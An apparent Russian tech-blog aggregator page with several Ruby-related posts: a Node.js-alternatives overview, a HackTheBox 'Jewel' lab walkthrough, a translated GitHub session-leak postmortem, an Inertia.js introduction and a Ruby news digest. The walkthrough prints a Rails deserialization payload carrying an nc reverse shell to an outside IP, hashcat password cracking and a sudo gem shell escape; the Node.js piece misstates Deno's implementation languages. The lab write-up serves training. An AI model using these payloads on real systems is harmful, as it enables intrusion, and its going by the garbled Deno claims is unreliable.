Русский
Русский
English
Статистика
Реклама

Ruby on rails

5 альтернатив Node.js и есть ли в этом смысл

29.03.2021 16:17:23 | Автор: admin


Node.js не безупречный продукт, у него есть недостатки (использование JS?), некоторые из них тянулись еще с раннего этапа разработки из-за ошибочных решений, принятых Райаном Далем, о которых немного вспомнили в статье Как создатель node.js сам разочаровался в нем. Как это часто бывает, в некоторых случаях альтернативу этой системе найти сложно или невозможно, особенно в секторе энтерпрайза. Но если не требуется поддержки большого легаси-кода, который еще много лет будут снабжать работой программистов, то можно взглянуть в сторону других решений. Про убийцу Node.js можно почитать в статье, указанной выше, о некоторых других будет рассказано в этой статье.

ASP.NET




Старый друг лучше новых двух. ASP.NET имеет длинную историю. Технология Active Server Pages, которая легла в основу сервисов ASP.NET, была разработана аж в конце прошлого века. Конечно, продолжительность разработки это не всегда хорошо, но долгая жизнь продукта говорит о многом. Хоть у ASP.NET совсем другой принцип работы, это не просто окружение для запуска программного кода и подключения модулей, это платформа для создания веб-сервисов; она часто используется для решения похожих с Node.js задач.

Если Node.js детище небольшой команды и в самом базовом виде является средой запуска программ на JS вне браузера с доступом к вводу/выводу, то ASP.NET типичный продукт огромной корпорации. В нем изначально содержится большое количество дефолтных библиотек, которые сразу позволяют начать разработку. Node развивается благодаря сообществу разработчиков, и потому систему надо сначала обвесить всеми необходимыми модулями, которых просто невероятное количество. Простейший Hello world! на Node притащит в систему несколько тысяч файлов. Причем, количество не всегда перерастает в качество, иногда создается впечатление, будто разработчики даже i++ готовы запихать в отдельный модуль, который потом будет скачан миллион раз, а внезапное обновление или удаление этого пакета вызовет серьезные проблемы совместимости или обрушит npm. В ASP за безопасностью и обновлениями следит экосистема Microsoft, библиотеки, написанные ей и другими крупными компаниями, тщательно проверены на ошибки и проблемы с совместимостью

Несмотря на многие отличия, одним из главных является разный подход к распределению вычислений. В Node.js все выполнялось в одном потоке, но с помощью асинхронного ввода/вывода. ASP изначально работала в многопоточном режиме и синхронном вводе/выводе. Первый вариант показывает большую производительность при работе сервисов требующих очень интенсивный обмен, но ценой некоторого усложнения кода. В последних версиях продуктов эти отличия сглаживаются, в Node.js и ASP.NET применяется паттерн async\await.

JS очень сильно вырос за время своего развития, но все равно остается языком без строгой типизации и проигрывает C#, который изначально разрабатывался под прямым влиянием C++, с первых дней имевшем строгую типизацию и ООП. Следствием этого является то, что C# мощнее и более цельнее, ему не требуются надстройки вроде TS. Но зато JS за счет своей простоты более востребован при программировании микросервисов, в котором не требуются сложные возможности C#.

Кроме различий используемых языков программирования, у этих платформ разная идеология. В ASP.NET многое предопределено, он предлагает все готовое, начиная с файловой структуры, тогда как, начиная работать с Node.js, приходится выбирать все самому, что дает большую гибкость, но усложняет разработку. Зато в ASP.NET есть мощные инструменты отладки, тестирования и рефакторинга.

Единственное в чем ASP.NET серьезно уступает Node.js это простота развертывания. Node нужен только движок и прокси-сервер или Docker. Платформу можно настроить как самому, так и взять готовый образ VPS, который есть практически у любого хостинг-провайдера. Для ASP, несмотря на кроссплатформенность, все не так легко, а готовые образы для серверов есть только у самых крупных игроков уровня Azure.

Так ли нужен JavaScript?


Node.js создавалась как среда выполнения для JS, потому что это простой и доступный язык программирования, с помощью которого легко удалось реализовать одновременное выполнение нескольких сценариев для двустороннего обмена данными веб-приложения между браузером и сервером. ASP.NET тоже создавался для написания веб-приложений, только с помощью других методов. Тот же Deno состоит из нескольких слоев над виртуальной машиной, которая непосредственно работает с ресурсами сервера. Но ведь не обязательно использовать сложные обертки из языков программирования, которые не исполняются непосредственно на сервере и требуют виртуальных машин.

Go




В 2007 году инженеры компании решили, что C++ не отвечает текущим реалиям компьютерных технологий. Требовались эффективные средства распараллеливания, использующие возможности многоядерных процессоров и распределенных систем, нужен был автоматический сборщик мусора и некоторые упрощения для лучшей читаемости кода и удобства работы с типами.

У разработчиков было целью не создать лучшую версию C++, а сделать новый язык более понятным, основываясь на своем опыте программирования. Go был публично анонсирован в 2009 году, довольно быстро поднялся почти в топ-10 языков программирования (13 место в начале 2012 года). Сам Раймон Даль расхваливал его в выражениях наподобие: Зачем Node.js, если есть такой прекрасный язык как Go?. Но новизна прошла, и язык был почти забыт, пока не оказалось, что его средства распараллеливания хорошо подходят для разработки микросервисов в веб-приложениях. Это вернуло языку былую популярность.

Для Go написано несколько веб-фреймворков, хотя пользоваться ими не обязательно, потом что из коробки у него есть весь функционал, необходимый для программирования веб-приложений. Изначально Deno был написан именно на Go.

Ruby




Снова вспомним Deno, а именно то, что сейчас его код написан на Ruby.
По сравнению с тем же Go, это не самый новый язык, его релиз был в 1995 году. В отличии от Go, разработкой занимался одиночка-энтузиаст Юкихиро Мацумото, который загорелся созданием объектно-ориентированного, интерпретируемого языка, который был бы лучше чем Pyton. Популярность язык завоевал далеко не сразу, не в последнюю очередь потому, что первую пару лет его документация была только на японском. Книги на английском языке вышли только в начале 2000-х, а признание пришло после выхода веб-фреймворка Ruby on Rails в 2005 году, который быстро стал популярным, особенно когда Apple заявила в 2007 году, что будет поставлять его в составе Mac OS X 10.5.

Как и во всех интерпретируемых языках, скорость Ruby была сравнительно небольшой, что сильно сказывалось в работе веб-приложений, написанных на Ruby on Rails. Зная эту проблему, автор стал разрабатывать версию языка, которая потеряла бы обратную совместимость, но стала бы выполняться гораздо быстрее, что и было им сделано в 2009 году. Скорость выросла очень существенно и сравнялась с веб-приложениями работающими под .NET и JVM. Благодаря этому резко выросла популярность фреймворка. В 2018 году автор Ruby выпустил версию 2,6, в которой реализована динамическая компиляция, что еще сильнее ускоряет работу приложений.
До сих пор язык Ruby, плотно ассоциируется именно с фреймворком Ruby on Rails.

Elixir




Erlang еще один язык программирования, созданный большой корпорацией. На этот раз постарались шведы из Ericsson. В 1986 году никто не думал о разработке веб-приложений, интернет был еще в проекте, а язык создавался для работы систем в реальном режиме времени. Долгое время Erlang был практически неизвестен за пределами компании, которая использовала его для своих внутренних нужд, пока в 1998 году руководство не решило прекратить поддержку собственного языка и запретило его использование, обязав разработчиков перейти на Java. Это привело к тому, что язык выпустили под открытой лицензией, и он стал распространяться за пределами компании, которая его разработала. Долгое время он был интересен только небольшому кругу ученых, пока не оказалось, что его концепция хорошо подходит для разработки под многопроцессорную архитектуру.

В 2012 году Хосе Валим, один из разработчиков Ruby on Rails, загорелся идеей создать язык программирования для высоконагруженных систем и больших веб-сайтов. В итоге был разработан Elixir, функциональный язык программирования, компилируемый в байт-код для виртуальной машины Erlang (BEAM). Благодаря тому, что в основе языка лежит Erlang, который разрабатывался для программирования коммуникационного оборудования, Elixir получил уникальные свойства: отказоустойчивость, горячую замену кода (изменение или откат кода работающей программы, без ее перезапуска) и возможность работы в реальном режиме времени. Эти свойства позволяют создавать надежные высоконагруженные системы, поддерживающие как горизонтальное, так и вертикальное масштабирование, работающие в 5-10 раз быстрее, чем аналогичные приложения написанные на интерпретируемых языках (PHP, Ruby, Python). Место работы создателя повлияло на то, что в языке используется Ruby-подобный синтаксис, и его легко освоить тем, кто пользуется Ruby on Rails.

На данный момент Elixir используется в таких известных компаниях, как Discord, Square Enix, PepsiCo и Sketch.

А если, все-таки JavaScript?


Но если осваивать новый язык программирования нецелесообразно, как и тащить на сервер всю Ноду? Можно посмотреть на другие среды выполнения JS.



RingoJS это многопоточная платформа, построенная на JVM и оптимизированная для работы на серверах. Для интерпретации кода JS используется движок Mozilla Rhino, имеющий внушительную историю. Его начали разрабатывать в 1997 году, еще во времена Netscape, позже проект передали Mozilla Foundation и выложили в open source.

Приложения RingoJS могут быть развернуты на любой платформе под управлением Linux, вплоть до Raspberry Pi, или поверх облачных платформ типа Google App Engine. Модульная система RingoJS основана на CommonJS, можно даже использовать некоторые модули от Node.js. Также движок Ringo позволяет интегрировать библиотеки написанные на Java.



PurpleJS это еще один простой JS-фреймворк запускаемый на JVM. В качестве движка JS используется Nashorn (тоже носорог), разрабатываемый Oracle. Нельзя сказать, что это полноценная замена Node, потому что фреймворк не использует асинхронный режим, а Nashorn не имеет поддержки CommonJS, зато он очень легкий и не требует перезапускать сервис после изменения кода.



Vert.x это уже не фреймворк, а мультиязычный набор инструментов, позволяющий создавать полностью асинхронные реактивные веб-приложения, микросервисы и сетевые утилиты запускаемые на JVM. Поддерживаемые языки не ограничиваются только Java и JS, кроме них можно писать приложения на Groovy, Ruby, Scala и Kotlin, поддерживается модульная система с централизованным репозиторием, Vert.x легко расширяется и масштабируется.

Забавно, что проект сначала назывался Node.x, потом его переименовали, чтобы избежать юридических проблем, потому что цели при создании были такие же, как у Node.js, и Тим Фокс (создатель Vert.x) говорил, что вдохновлялся успехом Дали и хотел сделать Node.js на JVM.

Если альтернативы не впечатляют и node.js остается вашей любовью



Можно брать преднастроенный сервер сразу с node.js из

Подробнее..

HackTheBox. Прохождение Jewel. RCE в Ruby on Rails, sudo и google authenticator, выполнение кода в gem

13.02.2021 18:19:20 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.

10.10.10.211    jewel.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью rustscan.

rustscan jewel.htb -- -A

Порт 8080 отвечает за gitweb.

Отметим для себя наличие Gemile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект.

И мы имеем возможность зарегистрироваться и авторизоваться.

Entry Point

Как оказалось, мы можем найти уже готовый готовый эксплоитдля данной версии Ruby on Rails.

USER

Давайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор.

git clone https://github.com/masahiro331/CVE-2020-8165.gitgem install bundler:1.17.3apt install sqlite3 libsqlite3-devbundle install --path vendor/bundlebundle exec rails db:migratebundle exec rails console

Теперь собираем свой эксплоит, в качестве нагрузки использует реверс шелл.

code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`'erb = ERB.allocateerb.instance_variable_set :@src, codeerb.instance_variable_set :@filename, "1"erb.instance_variable_set :@lineno, 1payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)puts "Payload"require 'uri'puts URI.encode_www_form(payload: payload)

И находим форму отправки.

Перехватываем запрос в Burp и подменяем имя пользователя.

И получаем бэкконнект.

ROOT

И у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo,в добавок к паролю.

Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql.

А там есть два хеша.

Брутим их и находим один пароль.

hashcat --example | grep -A2 -B2 '$2a'
hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt

Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода.

Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте.

И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem.

sudo gem open -e "/bin/sh -c /bin/sh" rdoc

И мы берем рута.

Подробнее..

Перевод Как мы устранили редкую ошибку, из-за которой пришлось разлогинить всех пользователей Github

24.03.2021 10:15:26 | Автор: admin

8 марта мы рассказали о том, что из соображений безопасности разлогинили всех пользователей GitHub.com из-за редкой уязвимости защиты. Мы считаем, что прозрачность ключевой фактор сохранения доверия со стороны пользователей, поэтому решили рассказать об этом баге подробнее. В этом посте мы изложим технические детали данной уязвимости и объясним, как она возникла, как мы на неё отреагировали и какие мы предприняли шаги для того, чтобы подобное не повторилось.

Отчёты пользователей


2 марта 2021 через службу технической поддержки мы получили отчёт пользователя, который войдя на GitHub.com под собственными идентификационными данными, внезапно авторизировался как другой пользователь. Он немедленно вышел из аккаунта, но сообщил о проблеме нам, поскольку она обеспокоила его, и на то были все основания.

Мы привели в действие свои процедуры реагирования на инциденты с безопасностью и немедленно изучили этот отчёт, призвав на помощь специалистов компании из отделов безопасности, разработки и поддержки пользователей. Спустя несколько часов после первого отчёта мы получили второй отчёт от другого пользователя с очень похожей ситуацией. После анализа логов запросов и аудита мы смогли подтвердить истинность полученных внешних отчётов сессия пользователя действительно внезапно оказалась общей для двух IP-адресов примерно во время отправления отчётов.

Исследование недавних изменений в инфраструктуре


Учитывая то, что этот баг был новым поведением, мы сразу же заподозрили, что он связан с недавним изменением в нашей инфраструктуре, и начали поиск решения с анализа изменений. Недавно мы обновили компоненты на уровне системы, занимающемся балансировкой нагрузки и маршрутизацией. Мы выяснили, что устранили проблему с keepalive-сообщениями HTTP, которая, по нашему мнению, могла быть связана с указанной в отчётах проблемой.

После исследования этих изменений мы выяснили, что первопричиной были не они. Запросы пользователей, которые отправили нам отчёты, на уровне балансировки нагрузки следовали по совершенно другому пути, задействуя другие машины. Мы исключили возможность того, что ответы заменялись на этом уровне. Исключив из возможных первопричин недавние инфраструктурные изменения и будучи уверенными, что проблема присутствует не в слоях связи и протоколов, мы перешли к другим потенциальным причинам.

Исследование недавних изменений в коде


Благодаря тому, что мы начали расследование с недавних изменений в инфраструктуре, нам удалось выяснить, что запросы, приводившие к возврату неправильной сессии, обрабатывались на одной и той же машине и в одном процессе. Мы используем многопроцессную схему с веб-сервером Unicorn Rack, выполняющим наше основное Rails-приложение. обрабатывающее такие задачи, как отображение issues и пул-реквестов.

После изучения логов мы выяснили, что тело HTTP-объекта в передаваемом нами ответе клиенту было правильным, ошибочным были только куки в ответе пользователю. Отправившие отчёты об ошибке пользователи получили куки сессии пользователя, запрос которого совсем незадолго до них обрабатывался внутри того же процесса. В одном из случаев два запроса обрабатывались последовательно, один за другим. Во втором случае между ними было ещё два запроса.

У нас появилась рабочая теория о том, что нечто каким-то образом приводило к утечке состояния между запросами, которые обрабатывались в одном процессе Ruby. Нам нужно было выяснить, как такое может происходить.

Исследовав недавно внедрённые функции, мы выявили потенциальную проблему с безопасностью потоков, которая могла возникать из-за функциональности с недавно изменённой ради повышения производительности архитектурой. Одно из таких улучшений производительности заключалось в переносе логики включенных для пользователя функций в фоновый поток, который обновлялся с определённым интервалом вместо проверки их состояния во время обработки запроса. Нам показалось, что это изменение затронуло изучаемые нами области и теперь основной целью нашего исследования стало неопределённое поведение этой проблемы с безопасностью потоков.

Безопасность потоков и отчёты об ошибках


Для понимания проблемы с безопасностью потоков необходим контекст. Основное приложение, обрабатывающее большинство браузерных взаимодействий на GitHub.com это приложение Ruby on Rails, известное тем, что оно имело компоненты, написанные без учёта возможности в нескольких потоках (т.е. они были непотокобезопасны). Обычно в прошлом непотокобезопасное поведение могло приводить к неправильному значению во внутренних отчётах об исключениях системы, но при этом пользователи не сталкивались с изменением поведения системы.

Потоки уже использовались в других частях этого приложения, однако новый фоновый поток создал новое и непредусмотренное взаимодействие с нашими процедурами обработки исключений. Когда исключения (например, истечение срока запроса) передавал фоновый поток, лог ошибок содержал информацию и от фонового потока, и от текущего выполняемого запроса, и это доказывало, что данные передаются между потоками.

Изначально мы думали, что это только внутренняя проблема отчётности, и что мы будем наблюдать в логах данные, зафиксированные от не относящегося к делу запроса в фоновом потоке. Несмотря на противоречивость, мы посчитали такое поведение безопасным, поскольку каждый запрос имел собственные данные запроса, а Rails-приложение создавало новый экземпляр объекта-контроллера для каждого запроса. Нам по-прежнему было непонятно, как это могло вызывать проблемы, с которыми мы столкнулись.

Многократно используемый объект


Наша команда совершила прорыв, обнаружив, что HTTP-сервер Unicorn Rack, используемый в нашем Rails-приложении, не создаёт новый и отдельный объект env для каждого запроса. Вместо этого он выделяет единственный Ruby Hash, который очищается (с помощью Hash#clear) между запросами, которые он обрабатывает. Благодаря этому мы поняли, что проблема с потокобезопасностью в логгинге исключений может привести не только к неправильности фиксируемых в исключениях данных, но и к передаче данных запросов на GitHub.com.

Первоначальный анализ привёл к созданию гипотезы о том, что для возникновения условия гонки необходимо два запроса, происходящих за короткий промежуток времени. Получив эту информацию, мы попытались воспроизвести проблему в среде разработки. Когда мы попробовали выполнить последовательность определённых запросов, то обнаружили, что требуется ещё одно дополнительное условие, а именно анонимный запрос, с которого начинается вся последовательность. Вот полный список необходимых шагов:


  1. В потоке обработки запросов запускается анонимный запрос (назовём его Request #1). Он регистрирует обратный вызов в текущем контексте для внутренней библиотеки отчётности об исключениях. Обратные вызовы содержат ссылки на текущий объект контроллера Rails, имеющий доступ к единому объекту среды запроса Rack, предоставляемого сервером Unicorn.
  2. В фоновом потоке возникает исключение. Сообщение об исключении копирует текущий контекст, чтобы включить его в отчёт. Этот контекст содержит обратные вызовы, зарегистрированные запросом Request #1, в том числе и ссылку на единую среду Rack.
  3. В основном потоке запускается новый запрос залогиненного пользователя (Request #2).
  4. В фоновом потоке система отчётности об исключениях обрабатывает обратные вызовы контекста. Один из обратных вызовов считывает идентификатор сессии пользователя, но поскольку запрос на момент контекста не имеет авторизации, эти данные ещё не считываются, и, следовательно, запускают новый вызов к системе авторизации через контроллер Rails из запроса Request #1. Этот контроллер пытается выполнить авторизацию и получает куки сессии из общей среды Rack. Так как среда Rack это общий объект для всех запросов, контроллер находит куки сессии запроса Request #2.
  5. В основном потоке запрос Request #2 завершается.
  6. Запускается ещё один запрос залогиненного пользователя (Request #3). В этот момент Request #3 завершает свой этап авторизации.
  7. В фоновом потоке контроллер завершает этап авторизации, записывая куки сессии в cookie jar, находящийся в среде Rack. На данном этапе это cookie jar для Request #3!
  8. Пользователь получает ответ на запрос Request #3. Но cookie jar был обновлён данными куки сессии Request #2, то есть пользователь теперь авторизован как пользователь из Request #2.

Подведём итог: если исключение возникло именно в нужный момент и если параллельная обработка запросов происходит именно в нужном порядке среди серии запросов, то в результате сессия одного запроса заменяется сессией более раннего запроса. Возврат неправильного куки происходит только для заголовка куки сессии, и, как говорилось выше, остальная часть тела ответа, например HTML, по-прежнему была связана с ранее авторизованным пользователем. Это поведение соответствовало с тем, что мы видели в логах запросов и мы смогли чётко идентифицировать все элементы, составлявшие первопричину состояния гонки.

Для возникновения этого бага требовались очень конкретные условия: фоновый поток, общий контекст исключения между основным потоком и фоновым потоком, обратные вызовы в контексте исключения, многократное использование объекта env между запросами и наша система авторизации. Подобная сложность является напоминанием о многих из пунктов, представленных в статье How Complex Systems Fail, и демонстрирует, что для возникновения подобного бага требуется множество различных сбоев.

Предпринимаем действия


Выявив первопричину, мы немедленно сделали основным приоритетом устранение двух условий, критически важных для появления этого бага. Во-первых, мы избавились от нового фонового потока, появившегося после вышеупомянутой модернизации архитектуры, призванной повысить производительность. Благодаря тому, что мы точно знали, что было добавлено в процессе этой работы, изменения легко можно было откатить. Изменение, в котором был удалён этот поток, вывели в продакшен 5 марта. После этого изменения мы знали, что условия, требуемые для возникновения условия гонки, больше не будут удовлетворяться, и что наша непосредственный риск возврата неверных сессий снижен.

После выпуска изменения с удалением фонового потока, мы создали патч для Unicorn, удаляющий возможность создания общей среды. Этот патч был выпущен 8 марта и ещё больше усилил изоляцию между запросами, даже на случай возникновения проблем с потокобезопасностью.

Кроме устранения бага мы предприняли действия для определения пользовательских сессий, на которые он повлиял. Мы изучили данные логгинга на предмет паттернов, соответствующих неправильно возвращаемых сессий. Затем мы вручную просмотрели соответствующие паттерну логи, чтобы определить, на самом ли деле сессия была неверно возвращена от одного пользователя другому.

В конце мы решили сделать ещё одно превентивное действие, чтобы гарантировать безопасность данных наших пользователей, и аннулировали все активные сессии пользователей на GitHub.com. Учитывая редкость условий, необходимых для возникновения этого условия гонки, мы знали, что вероятность возникновения бага очень мала. Хотя наш анализ логов, проведённый с 5 по 8 марта, подтвердил, что это была редкая проблема, мы не могли исключить вероятность того, что сессия была неверно возвращена, но никогда не использовалась. Мы не хотели идти на такой риск, учитывая потенциальный ущерб использования даже одной из таких неверно возвращённых сессий.

Реализовав эти два исправления и завершив аннулирование сессий, мы были уверены в том, что больше не может возникнуть новых случаев возврата неправильных сессий, и что влияние бага было снижено.

Продолжаем работу


Несмотря на устранение непосредственной угрозы, мы объединили усилия с мейнтейнером Unicorn, чтобы поднять изменения вверх по потоку и чтобы новые запросы выделяли собственные хэши среды. Если Unicorn будет использовать новые хэши для каждой среды, то это устранить возможность того, что один запрос ошибочно завладеет объектом, который может повлиять на следующий запрос. Это дополнительная защита, позволяющая предотвратить превращение подобных багов потокобезопасности в уязвимости защиты для других пользователей Unicorn. Хотим искренне поблагодарить мейнтейнеров Unicorn за сотрудничество и обсуждение данной проблемы.

Ещё одним предпринятым шагом стало устранение обратных вызовов из контекста логгинга исключений. Эти обратные вызовы были полезны для откладывания времени выполнения и избегания снижения производительности без необходимости. Их недостаток заключается в том, что обратный вызов также усложняет отладку условий гонки и потенциально может сохранять ссылки на уже давно завершённые запросы. Обработка исключений при помощи более простого кода позволяет нам сейчас и в будущем использовать эти процедуры более безопасным способом. Кроме того, мы работаем над упрощением и ограничением путей выполнения кода в частях, где выполняется обработка куки сессий.

Также мы хотим повысить потокобезопасность всей кодовой базы в таких областях, как обработка исключений и оснащение. Мы не хотим просто устранять конкретные баги, а стремимся обеспечить невозможность возникновения подобного класса проблем в будущем.

Подведём итог


Многопоточный код бывает очень сложен в анализе и отладке, особенно в тех кодовых базах, где потоки в прошлом использовались редко. Пока мы решили перестать использовать долгоживущие потоки в наших процессах Rails. Мы воспользуемся этой возможностью, чтобы сделать наш код более надёжным для различных многопотоковых контекстов, а также для обеспечения дополнительной защиты и создания потокобезопасной архитектуры для использования в будущем.

Если взглянуть со стороны, то данный баг не только оказался сложным с технической точки зрения (ведь для его возникновения требуются сложные взаимодействия между несколькими потоками, отложенными обратными вызовами и совместным использованием объектов), но и стал проверкой способности нашей организации реагировать на проблему с неизвестной причиной и уровнем угрозы. Отлаженная работа команды реагирования на инциденты с безопасностью совместно со специалистами из отделов поддержки, безопасности и разработки позволила нам быстро исследовать, оценить и квалифицировать потенциальную опасность этой проблемы, а также повысить приоритет её решения во всей компании. Это повышение приоритета ускорило работу над анализом логов, изучением последних изменений в коде и архитектуре, а в конечном итоге позволило выявить глубинные проблемы, которые привели к возникновению этого бага.

Благодаря чёткому пониманию проблемы мы смогли сосредоточиться на принятии нужных мер для ограничения её воздействия на пользователей. Полученные нами в процессе этой работы знания позволили нам обсудить ситуацию с ответственными лицами из разных отделов компании и принять конфиденциальное решение о необходимости выхода из системы всех пользователей GitHub.com. Мы лучше разобрались в сложных системах компании и воспользуемся этой возможностью для создания мер предосторожности, предотвращающих возникновение подобных проблем в будущем.
Подробнее..

Inertia.js современный монолит

18.07.2020 16:04:37 | Автор: admin

Inertia современный монолит


Вы знаете, как пишутся SPA на Laravel? Если коротко, не очень удобно. Конечно, можно использовать любой фронтенд-фреймворк. Традиционно принято работать со связкой Laravel + Vue.js.


Мы пишем весь фронтенд на Vue.js в resources/js, а Laravel используем как API.


Примерно вот так:


Vue.js


// resources/js/pages/Users.vue<template>    <div v-for="user in users" :key="user.id">        <a :href="`/users/${user.id}`">          {{ user.name }}        </a>        <div>{{ user.email }}</div>    </div></template><script>    export default {        data() {            return {                users: []            }        },        methods: {            async loadUsers() {                const { data } = await this.$axios.get('/api/users');.                this.users = data;            }        },        async beforeMount() {            await this.loadUsers();        }    }</script>

Laravel


// routes/api.phpRoute::get('/users', function index(User $user) {    return $user->all();});

То есть сначала мы создаем на бэкенде эндпоинт, а затем на фронте получаем с него данные через AJAX-запрос.


Удобно ли это? Смотря для кого. Фронтендерам не привыкать. AJAX на сегодня самый классический способ получения данных с сервера. Но, если вы до этого много работали с Blade, вы понимаете, насколько это больше телодвижений.


Хотелось бы как с Blade, просто вернуть страницу уже с массивом данных, доступном на фронте как переменные:


return view('users', [    'users' => $user->all()]);

Какая разница? Она заметна, если нам нужно добавить еще какую-нибудь информацию во фронтенд-компонент. С Blade мы просто добавляем новую пару ключ-значение в массив данных. Но если Laravel это просто API, нам нужно по-хорошему создавать отдельный эндпоинт. И т.д. и т.п.


От этого неудобства нас избавляет библиотека Inertia.js. С её помощью мы можем писать своё приложение так, будто бы мы пишем всё на Blade. Однако вместо него на стороне фронта использовать любимый фреймворк Vue, React или Svelte.


Кроме Laravel, Inertia.js также может работать с бэкендом на Rails. И это только официально. Сторонние разработчики также добавляют поддержку других фреймворков и библиотек (например, Symfony или Yii2).


Далее все примеры будут на Vue.js и Laravel. Но при этом держите в уме, что всё это же можно делать и с другими вышеуказанными библиотеками.

Теперь на стороне сервера мы пишем


return Inertia::render('Users', [    'users' => $user->all()]);

А на фронте получаем данные как props.


props: {  users: Array,},

Круто! Но это еще не всё.


Киллер-фича 2: Роутеры (Vue Router, React Router) больше не нужны. Теперь все страницы это записи в routes и Vue-компоненты в папке resources/js/Pages (название папки кастомизируется). Всё, как с Blade, единственное, теперь вместо component.blade.php у вас Component.vue.


Ну и моё любимое: валидация на сервере. Больше не нужно отправлять ошибки AJAX-ом, а потом парсить их на фронте, где-то сохранять и таскать оттуда. Теперь можно просто расшарить ошибки из сессии в AppServiceProvider


Inertia::share([    'errors' => function () {        return Session::get('errors')            ? Session::get('errors')->getBag('default')->getMessages()            : (object) [];    },]);

и получать их во Vue-компонентах как $page.errors.


<div v-if="$page.errors.first_name">{{ $page.errors.first_name[0] }}</div>

Тоже самое для уведомлений и любых других общих для всех компонентов данных.


При этом, данные можно шарить как синхронно (как в примере выше), так и "лениво", просто передавая в массив вместо самих данных колбэк, который их возвращает.


Inertia::share([    // Синхронно    'app' => [        'name' => Config::get('app.name')    ],    // Лениво    'auth' => function () {        return [            'user' => Auth::user() ? [                'id' => Auth::user()->id,                'first_name' => Auth::user()->first_name,                'last_name' => Auth::user()->last_name,            ] : null        ];    }]);

Чтобы начать пользоваться, переходим в документации на страницу установки, выбираем нужные адаптеры один для фронта, другой для бэка и просто следуем инструкциям (1, 2).


Кстати, документация очень небольшая и удобная, всё наглядно и понятно, есть примеры на всех официально поддерживаемых фреймворках. Есть даже демо-приложение для того, чтобы посмотреть на всё в работе.


Я рассказал только об основных возможностях этой библиотеки. Тем не менее, если вы всё еще не впечатлены, я не знаю, как еще я могу вас удивить. Про остальные фишки вы можете узнать в той же документации. Среди них, удобная работа с ошибками в ходе разработки, кэширование локального состояния компонента и другие.


Но как и в любой бочке мёда, тут есть своя ложка дегтя.


Во-первых, Inertia.js должен контролировать рендеринг. Это значит, что нельзя просто перевести какой-то конкретный компонент на Inertia.js, нужно переносить всё приложение. По крайней мере, весь инстанс (если у вас микрофронтенды).


Во-вторых, тут нет Server-Side Rendering (SSR). Что, в принципе, неудивительно, ведь это просто прослойка между фронтом и бэком, а фронт как был SPA без SSR, так и остается. Но, возможно, эту функциональность добавят в будущем, разработчики говорят, что это возможно. Если вам кровь из носа нужен SSR, стоит посмотреть на бойца в противоположном углу ринга Livewire. Но про него как-нибудь в другой раз.


Ну и в-третьих, Inertia.js еще очень молодой проект. Последняя версия на момент написания статьи v0.1.9. Поэтому смотрите сами, хотите ли вы использовать его в продакшене.


Тем не менее, я советую всем web-разработчикам попробовать и оценить самим этот замечательный инструмент.

Подробнее..

Ruby Digest 2020 с 16.07 по 31.07

05.08.2020 12:20:05 | Автор: admin
Ruby Digest 2020 с 16 по 31 июля: новинки, новости, медиа, релизы, статьи, обучение.
Смотрим, что интресного было во второй половине июля вокруг Ruby.





Новинки и новости


GoodJob 1.0.0 многопоточный ActiveJob-бэкэнд для Ruby on Rails, основанный на PostgreSQL.

Apache Arrow Ruby 1.0.0 официальный гем от Apache с биндингами для Apache Arrow.

2021 Fukuoka Ruby Award Competition объявлен конкурс Fukuoka Ruby Award 2021.
В оценке работ участвует Юкихиро Мацумото. Главный приз 1 миллион иен!

RubyWorld 2020 конференцию RubyWorld 2020 решено провести онлайн одним днем 17 декабря.

RubyConfBY 2020 состоялась online Ruby-конференция в Минске.

Рейтинг языков программирования RedMonk: Июнь 2020 Ruby поднялся на 7 строчку.

Интерактивный Топ языков программирования IEEE Spectrum Ruby поднялся на 11 строчку.

Знакомьтесь, RBS! Ненавязчивая статическая типизация для Ruby 3. В новом Ruby 3 запланировано добавление ненавязчивой статической типизации. Прежний привычный ruby-код останется без изменений. Типы можно будет указывать в отдельных файлах на декларативном языке RBS. RBS основан на Steep, который можно пробовать уже сейчас с версиями 2.6 и выше.

Представляем GoodJob ActiveJob-бэкэнд второго поколения.

Обзор Hey новый почтовый сервис от Basecamp.

Посмотреть и послушать


imageRWpod 28 выпуск 08 сезона Stimulus.js, Egis, Deimos, Puppeteer recorder, RecordRTC.js, Super Expressive, Bumblebee и прочее

imageRWpod 29 выпуск 08 сезона 2021 Fukuoka Ruby Award Competition, GoodJob, Rollout::UI, Futurism, React Guitar и прочее.

imageИзучаем Ruby с Хэсусом Кастэйо изменение значений внутри блоков.

imageИзучаем Ruby с Хэсусом Кастэйо обзор структуры файлов Rails.

